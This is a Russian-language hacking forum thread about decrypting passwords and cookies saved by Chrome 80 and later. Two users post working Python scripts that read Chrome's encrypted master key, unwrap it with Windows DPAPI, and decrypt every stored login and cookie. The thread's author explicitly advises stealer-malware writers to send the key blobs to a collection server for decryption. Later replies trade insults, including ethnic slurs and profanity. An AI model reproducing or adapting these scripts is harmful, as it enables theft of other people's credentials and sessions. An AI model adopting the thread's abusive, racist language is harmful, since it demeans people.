Chrome 80+ расшифровка паролей и кукисов

Discussion in 'Python' started by sn0w, 23 Sep 2020.

  1. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,270
    Reputations:
    327
    начиная с 80й версии, немного поменяли подход, теперь еще и AES GCM добавилось:

    Code:
    import os
    import sqlite3
    import win32crypt
    import sys
    import json
    import base64
    from cryptography.hazmat.primitives.ciphers.aead import AESGCM
    from shutil import copyfile
    
    
    # Set appropriate paths here
    path_ls = r'C:\Users\sn0w\AppData\Local\Google\Chrome\User Data\Local State'
    path_db = r'C:\Users\sn0w\AppData\Local\Google\Chrome\User Data\Default\Login Data'
    path_cook = r'C:\Users\sn0w\AppData\Local\Google\Chrome\User Data\Default\Cookies'
    
    
    
    def acquire_encryption_key():
        b64dpapi = None
        try:
            with open(path_ls) as json_file:
                data = json.load(json_file)
                b64dpapi = data["os_crypt"]["encrypted_key"]
    
        except KeyError:
            print('No encryption key found!')
    
        if b64dpapi is not None:
            pre_key = base64.b64decode(b64dpapi)
            aead_encryption_key = win32crypt.CryptUnprotectData(pre_key[5:], None, None, None, 0)[1]
            return aead_encryption_key
    
        return None
    
    
    
    # Chrome prevents access while running, just copy them
    copyfile(path_ls, path_ls + '.bak')
    path_ls += '.bak'
    copyfile(path_db, path_db + '.bak')
    path_db += '.bak'
    copyfile(path_cook, path_cook + '.bak')
    path_cook += '.bak'
    
    
    # Connect to the Database
    try:
        print('[+] Opening ' + path_db + '...\n')
        conn = sqlite3.connect(path_db)
        cursor = conn.cursor()
    except Exception as e:
        print('[-] %s' % (e))
        sys.exit(1)
    
    # Get the results
    try:
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
    except Exception as e:
        print('[-] %s' % (e))
        sys.exit(1)
    
    data = cursor.fetchall()
    key = acquire_encryption_key()
    aesgcm = AESGCM(key)
    
    print("[+] AES256 GCM key dumped: " + "".join('%02X' % c for c in key) + "\n")
    
    for i in range(len(data)):
    
        pwdcipher = data[i][2][15:]
        nonce = data[i][2][3:15]
    
        print(str(i)+ ') ' + 'DB URL Entry: ' + data[i][0] + '\n' + ' -Login: ' + data[i][1])
        print(" -Raw db pwd data: " + "".join('%02X' % c for c in data[i][2]))
        print(" -nonce: " + "".join('%02X' % c for c in nonce))
        print(" -password cipher: " + "".join('%02X' % c for c in pwdcipher))
    
        cleartext = aesgcm.decrypt(nonce, pwdcipher, None)
        print(" -decrypted password: " + cleartext.decode() + '\n');
    
    
    
    print('\n\n[+] Dumping cookies...')
    
    # Connect to the Database
    try:
        print('[+] Opening ' + path_cook + '...\n')
        conn = sqlite3.connect(path_cook)
        cursor = conn.cursor()
    except Exception as e:
        print('[-] %s' % (e))
        sys.exit(1)
    
    # Get the results
    try:
        cursor.execute('SELECT host_key, name, encrypted_value FROM cookies')
    except Exception as e:
        print('[-] %s' % (e))
        sys.exit(1)
    
    data = cursor.fetchall()
    
    for i in range(len(data)):
    
        cookcipher = data[i][2][15:]
        nonce = data[i][2][3:15]
    
        print('%s - %s: ' % (data[i][0], data[i][1]), end='  ')
       
        cleartext = aesgcm.decrypt(nonce, cookcipher, None)
        print(cleartext.decode());
       
    
    для стилеропейсателей советую дампить и отсылать блобы с ключами, а на гейте уже расшифровывать, ибо тут нужно и скллайт и басе64 и опенссл либы, но если 2 первые - это лайтовый код на несколько кбайт, то декрипт аес gcm (а хер знает, из ссл его лень было вытравлить - это ненужная длл на 2+ мб)
     
    madik, Master_Youda, alexzir and 4 others like this.
    1. altblitz

      altblitz Elder - Старейшина

      Joined:
      5 Jun 2009
      Messages:
      3,694
      Likes Received:
      3,146
      Reputations:
      236
      chrome - гавно-браузер писсанный этими вашими poo-in-loo индусскими засранцами, не знающих элементарных правил общественной гигиены и санитарии, срущих на улицах,
      для тупо-рылых сосок на посниматься в TikTok.

      И пассворды - qwerty / qazwsx / 123456 / tyuiop ))
       
      1. sn0w

        sn0w Статус пользователя:

        Joined:
        26 Jul 2005
        Messages:
        1,023
        Likes Received:
        1,270
        Reputations:
        327
        @user100 выпили уже этому финкельштейновскому дауну доступ в разделы где требуется наличие работающих мозгов, плиз))
         
        #colorblind, Spinus and user100 like this.
        1. user100

          user100 Moderator

          Joined:
          24 Dec 2011
          Messages:
          4,754
          Likes Received:
          18,064
          Reputations:
          377
          Такое только Егрыч++++ могёт)
           
          _________________________
          Spinus likes this.
          1. Svan

            Svan Well-Known Member

            Joined:
            24 Sep 2020
            Messages:
            68
            Likes Received:
            363
            Reputations:
            2
            Вообщем механизм есть, но не все так просто.
             
            quite gray likes this.
            1. Spinus

              Spinus Level 8

              Joined:
              23 Sep 2018
              Messages:
              480
              Likes Received:
              2,835
              Reputations:
              12
              Ну видимо не могёт ни Егорыч , ни Сюи, раз этот говнюк все топики засрал.
               
              sn0w and seostock like this.
              1. sn0w

                sn0w Статус пользователя:

                Joined:
                26 Jul 2005
                Messages:
                1,023
                Likes Received:
                1,270
                Reputations:
                327
                всё именно так просто, другое дело - права на чтение
                 
                1. sn0w

                  sn0w Статус пользователя:

                  Joined:
                  26 Jul 2005
                  Messages:
                  1,023
                  Likes Received:
                  1,270
                  Reputations:
                  327
                  да, когда хром запущен на винде, - то решается тема доступа просто копированием файлов
                   
                  Svan likes this.
                  1. Pirnazar

                    Pirnazar Banned

                    Joined:
                    28 Apr 2018
                    Messages:
                    194
                    Likes Received:
                    142
                    Reputations:
                    5
                    Code:
                    import os
                    import json
                    import base64
                    import sqlite3
                    import win32crypt
                    from Crypto.Cipher import AES
                    import shutil
                    
                    
                    def get_master_key():
                        with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
                            local_state = f.read()
                            local_state = json.loads(local_state)
                        master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
                        master_key = master_key[5:]
                        master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
                        return master_key
                    
                    
                    def decrypt_payload(cipher, payload):
                        return cipher.decrypt(payload)
                    
                    
                    def generate_cipher(aes_key, iv):
                        return AES.new(aes_key, AES.MODE_GCM, iv)
                    
                    
                    def decrypt_password(buff, master_key):
                        try:
                            iv = buff[3:15]
                            payload = buff[15:]
                            cipher = generate_cipher(master_key, iv)
                            decrypted_pass = decrypt_payload(cipher, payload)
                            decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
                            return decrypted_pass
                        except Exception as e:
                            # print("Probably saved password from Chrome version older than v80\n")
                            # print(str(e))
                            return "Chrome < 80"
                    
                    
                    
                    if __name__ == '__main__':
                    
                        master_key = get_master_key()
                        login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
                        shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running
                        conn = sqlite3.connect("Loginvault.db")
                        cursor = conn.cursor()
                    
                        try:
                            cursor.execute("SELECT action_url, username_value, password_value FROM logins")
                            for r in cursor.fetchall():
                                url = r[0]
                                username = r[1]
                                encrypted_password = r[2]
                                decrypted_password = decrypt_password(encrypted_password, master_key)
                                with open('chrome.txt', 'a') as f:
                                    f.write("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
                        except Exception as e:
                            pass
                    
                        cursor.close()
                        conn.close()
                        try:
                            os.remove("Loginvault.db")
                        except Exception as e:
                            pass
                    Вырил просторах интернета
                    Вроде работает :)
                     
                    alexzir and Svan like this.
                    1. sn0w

                      sn0w Статус пользователя:

                      Joined:
                      26 Jul 2005
                      Messages:
                      1,023
                      Likes Received:
                      1,270
                      Reputations:
                      327
                      воу, код почти мой, но другими словами. оригинал на экспе ес чо) я там и на си++ запилил ;)
                       
                      Pirnazar and Spinus like this.
                      1. sn0w

                        sn0w Статус пользователя:

                        Joined:
                        26 Jul 2005
                        Messages:
                        1,023
                        Likes Received:
                        1,270
                        Reputations:
                        327
                        блин, я тут подумал - Егору ж уже под 50?!
                         
                        1. altblitz

                          altblitz Elder - Старейшина

                          Joined:
                          5 Jun 2009
                          Messages:
                          3,694
                          Likes Received:
                          3,146
                          Reputations:
                          236
                          Егорыч++++ никогда не будет 50, а лишь четыре раза - снова по 15!
                           
                          1. altblitz

                            altblitz Elder - Старейшина

                            Joined:
                            5 Jun 2009
                            Messages:
                            3,694
                            Likes Received:
                            3,146
                            Reputations:
                            236
                            Имбецил недоразвитый, сохраняй свои пассы и куки в .zip
                            и раскрывай их, без требований к правам user, при переустановки Chromium или Windows.

                            Все умные мальчики научились этому, легко и быстро, в отличии от твоя, тугодума пративного ))

                            [​IMG]
                             
                            1. sn0w

                              sn0w Статус пользователя:

                              Joined:
                              26 Jul 2005
                              Messages:
                              1,023
                              Likes Received:
                              1,270
                              Reputations:
                              327
                              бля, какой же ты всётаки даун, пиздец
                               
                              Spinus likes this.
                              1. Spinus

                                Spinus Level 8

                                Joined:
                                23 Sep 2018
                                Messages:
                                480
                                Likes Received:
                                2,835
                                Reputations:
                                12
                                У Блица только очко работает. Фотка тому подтверждение.
                                 
                                sn0w, Svan and seostock like this.
                                1. alexzir

                                  alexzir Well-Known Member

                                  Joined:
                                  29 Oct 2019
                                  Messages:
                                  924
                                  Likes Received:
                                  2,184
                                  Reputations:
                                  25
                                  Указывать абсолютный путь к рабочему каталогу гуглохрома - это не есть путь настоящего белого хомячка-переростка, а так код годный, плюсую в репу